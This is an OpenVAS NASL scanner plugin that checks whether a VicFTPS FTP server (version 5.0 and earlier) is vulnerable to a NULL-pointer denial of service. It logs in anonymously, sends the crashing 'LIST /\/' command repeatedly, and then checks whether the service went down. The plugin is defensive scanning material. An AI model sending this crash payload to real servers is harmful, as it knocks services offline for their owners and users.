This host is running VicFTPS FTP Server which is prone to
Denial of Service Vulnerability.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: secpod_vicftps_list_dos_vuln.nasl 5148 2017-01-31 13:16:55Z teissa $
#
# VicFTPS LIST Command Denial of Service Vulnerability
#
# Authors:
# Nikita MR <[email protected]>
#
# Copyright:
# Copyright (c) 2009 SecPod, http://www.secpod.com
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_impact = "Successful exploitation allows attackers to execute arbitrary
code, and can crash the affected application.
Impact Level: Application";
tag_affected = "VicFTPS Version 5.0 and prior on Windows.";
tag_insight = "A NULL pointer dereference error exists while processing
malformed arguments passed to a LIST command that starts with a '/\/' (forward
slash, backward slash, forward slash).";
tag_solution = "No solution or patch was made available for at least one year
since disclosure of this vulnerability. Likely none will be provided anymore.
General solution options are to upgrade to a newer release, disable respective
features, remove the product or replace the product by another one.";
tag_summary = "This host is running VicFTPS FTP Server which is prone to
Denial of Service Vulnerability.";
if(description)
{
script_id(900580);
script_version("$Revision: 5148 $");
script_tag(name:"last_modification", value:"$Date: 2017-01-31 14:16:55 +0100 (Tue, 31 Jan 2017) $");
script_tag(name:"creation_date", value:"2009-06-26 07:55:21 +0200 (Fri, 26 Jun 2009)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2008-6829", "CVE-2008-2031");
script_bugtraq_id(28967);
script_name("VicFTPS LIST Command Denial of Service Vulnerability");
script_xref(name : "URL" , value : "http://milw0rm.com/exploits/6834");
script_xref(name : "URL" , value : "http://secunia.com/advisories/29943");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2009 SecPod");
script_family("Denial of Service");
script_dependencies("find_service.nasl");
script_require_ports("Services/ftp", 21);
script_tag(name : "impact" , value : tag_impact);
script_tag(name : "affected" , value : tag_affected);
script_tag(name : "insight" , value : tag_insight);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
script_tag(name:"solution_type", value:"WillNotFix");
exit(0);
}
include("ftp_func.inc");
include("version_func.inc");
vicPort = get_kb_item("Services/ftp");
if(!vicPort){
vicPort = 21;
}
if(!get_port_state(vicPort)){
exit(0);
}
if(safe_checks() || "VicFTPS" >!< get_ftp_banner(port:vicPort)){
exit(0);
}
soc = open_sock_tcp(vicPort);
if(!soc){
exit(0);
}
# Authenticate with anonymous user (Before crash)
if(!ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous")){
exit(0);
}
for(i = 0; i < 3; i++)
{
cmd = "LIST /\/";
ftp_send_cmd(socket:soc, cmd:cmd);
sleep(5);
ftp_close(soc);
# Check for VicFTPS Service Status
soc = open_sock_tcp(vicPort);
if(!soc)
{
security_message(vicPort);
exit(0);
}
else
{
if(!ftp_authenticate(socket:soc, user:"anonymous", pass:"anonymous"))
{
security_message(vicPort);
ftp_close(soc);
exit(0);
}
}
}